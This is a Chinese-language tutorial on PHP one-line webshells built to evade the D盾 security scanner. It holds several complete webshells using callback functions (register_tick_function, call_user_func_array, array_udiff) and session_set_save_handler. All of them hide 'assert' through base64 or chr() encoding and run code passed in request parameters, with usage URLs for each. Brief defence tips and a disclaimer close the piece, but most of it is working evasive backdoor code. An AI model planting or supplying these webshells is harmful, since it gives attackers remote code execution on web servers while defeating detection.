PHP一句话木马研究
字数 1262 2025-08-18 11:37:53
PHP一句话木马研究与绕过技术详解
一、一句话木马概述
一句话木马(Webshell)是一种短小精悍的恶意脚本,通常隐藏在正常网页文件中,攻击者可以通过简单的HTTP请求与服务器交互,执行任意系统命令或代码。PHP一句话木马因其灵活性和隐蔽性,成为渗透测试和黑客攻击中常用的工具。
二、回调函数类一句话木马
1. 基本原理
回调函数(Callback)是指通过函数参数传递到其他代码的可执行代码引用。PHP提供了多种回调函数,这些函数可以被用来构造一句话木马。
2. 常见已被查杀的回调函数
以下回调函数已被D盾等安全软件标记为危险:
array_filter()array_walk()array_walk_recursive()array_map()register_shutdown_function()filter_var()filter_var_array()uasort()uksort()array_reduce()
3. 绕过示例
(1) register_tick_function
<?php
declare(ticks=1);
register_tick_function(base64_decode($_REQUEST['e']), $_REQUEST['a']);
?>
使用方法:
- 访问URL:
IP/XXX.php?e=YXNzZXJ0(YXNzZXJ0是"assert"的base64编码) - 密码参数:
a
(2) 变种call_user_func_array
<?php
function newsSearch($para0, $para1) {
$evil = $para0;
call_user_func_array($para1, array($evil));
}
$exec = base64_decode($_GET['id']);
newsSearch($_POST['tid'], $exec);
?>
使用方法:
- 访问URL:
IP/XXX.php?id=YXNzZXJ0 - POST参数:
tid=要执行的代码
(3) 变种call_user_func
<?php
function newsSearch($para0, $para1) {
$evil = $para0;
call_user_func($para1, $evil);
}
$exec = base64_decode($_GET['id']);
newsSearch($_POST['tid'], $exec);
?>
(4) 变种array_udiff
<?php
function newsSearch($para0, $para1) {
$evil = $para0;
$exec = $para1;
array_udiff($arr=array($evil), $arr1=array(''), $exec);
}
$exec = base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'], $exec);
?>
使用方法:
- 访问URL:
IP/XXX.php?exec=YXNzZXJ0 - POST参数:
key=要执行的代码
三、session_set_save_handler类一句话木马
1. 基本原理
session_set_save_handler()函数可以定义用户级的session保存函数。通过巧妙构造,可以使PHP自动执行恶意代码。
2. 基础版本
<?php
error_reporting(0);
$session = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); //assert
function open($save_path, $session_name) {}
function close() {}
function write($id, $sess_data) {}
function destroy($id) {}
function gc() {}
session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
session_id($_REQUEST['op']);
@session_start();
?>
问题:直接使用assert会被D盾检测到。
3. 绕过版本
<?php
error_reporting(0);
function test($para) {
session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
@session_start();
}
function open($save_path, $session_name) {}
function close() {}
function write($id, $sess_data) {}
function destroy($id) {}
function gc() {}
$session = base64_decode($_REQUEST['id']);
session_id($_REQUEST['op']);
test($session);
?>
使用方法:
- 访问URL:
IP/XXX.php?id=YXNzZXJ0&op=要执行的代码 - 原理:通过GET传入
id参数(base64编码的"assert"),op参数为要执行的代码
四、防御与检测建议
- 输入验证:对所有用户输入进行严格过滤
- 禁用危险函数:在php.ini中禁用
assert、eval等危险函数 - 文件监控:监控网站目录的文件变化
- 代码审计:定期进行代码安全审计
- 使用安全软件:部署WAF、D盾等安全防护产品
- 最小权限原则:Web服务器以最低必要权限运行
五、总结
本文详细介绍了多种PHP一句话木马的构造方法及其绕过安全检测的技术,包括回调函数类和session处理类的实现方式。这些技术展示了攻击者如何利用PHP语言的灵活性来隐藏恶意代码。安全人员应了解这些技术以便更好地防御,但切勿将其用于非法用途。